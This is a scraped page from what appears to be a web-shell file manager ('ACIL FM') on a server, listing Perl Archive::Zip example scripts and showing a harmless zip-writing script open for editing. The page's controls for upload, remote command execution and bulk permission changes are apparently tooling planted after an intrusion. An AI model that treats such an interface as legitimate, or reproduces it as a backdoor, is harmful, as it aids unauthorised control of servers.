ACIL FM
Dark
Refresh
Current DIR:
/usr/share/doc/perl-Archive-Zip/examples
/
usr
share
doc
perl-Archive-Zip
examples
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
calcSizes.pl
948 B
chmod
View
DL
Edit
Rename
Delete
copy.pl
452 B
chmod
View
DL
Edit
Rename
Delete
extract.pl
896 B
chmod
View
DL
Edit
Rename
Delete
mailZip.pl
1.58 MB
chmod
View
DL
Edit
Rename
Delete
mfh.pl
640 B
chmod
View
DL
Edit
Rename
Delete
readScalar.pl
750 B
chmod
View
DL
Edit
Rename
Delete
selfex.pl
1.54 MB
chmod
View
DL
Edit
Rename
Delete
unzipAll.pl
561 B
chmod
View
DL
Edit
Rename
Delete
updateTree.pl
822 B
chmod
View
DL
Edit
Rename
Delete
updateZip.pl
892 B
chmod
View
DL
Edit
Rename
Delete
writeScalar.pl
614 B
chmod
View
DL
Edit
Rename
Delete
writeScalar2.pl
613 B
chmod
View
DL
Edit
Rename
Delete
zip.pl
666 B
chmod
View
DL
Edit
Rename
Delete
zipcheck.pl
1.03 MB
chmod
View
DL
Edit
Rename
Delete
zipGrep.pl
1.42 MB
chmod
View
DL
Edit
Rename
Delete
zipinfo.pl
4.43 MB
chmod
View
DL
Edit
Rename
Delete
ziprecent.pl
7.51 MB
chmod
View
DL
Edit
Rename
Delete
ziptest.pl
1.76 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /usr/share/doc/perl-Archive-Zip/examples/writeScalar2.pl
#!/usr/bin/perl -w use strict; use Archive::Zip qw(:CONSTANTS :ERROR_CODES); use IO::String; use IO::File; # test writing to a scalar my $zipContents = ''; my $SH = IO::String->new($zipContents); my $zip = Archive::Zip->new(); my $member = $zip->addString('a' x 300, 'bunchOfAs.txt'); $member->desiredCompressionMethod(COMPRESSION_DEFLATED); $member = $zip->addString('b' x 300, 'bunchOfBs.txt'); $member->desiredCompressionMethod(COMPRESSION_DEFLATED); my $status = $zip->writeToFileHandle($SH); my $file = IO::File->new('test.zip', 'w'); binmode($file); $file->print($zipContents); $file->close();
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply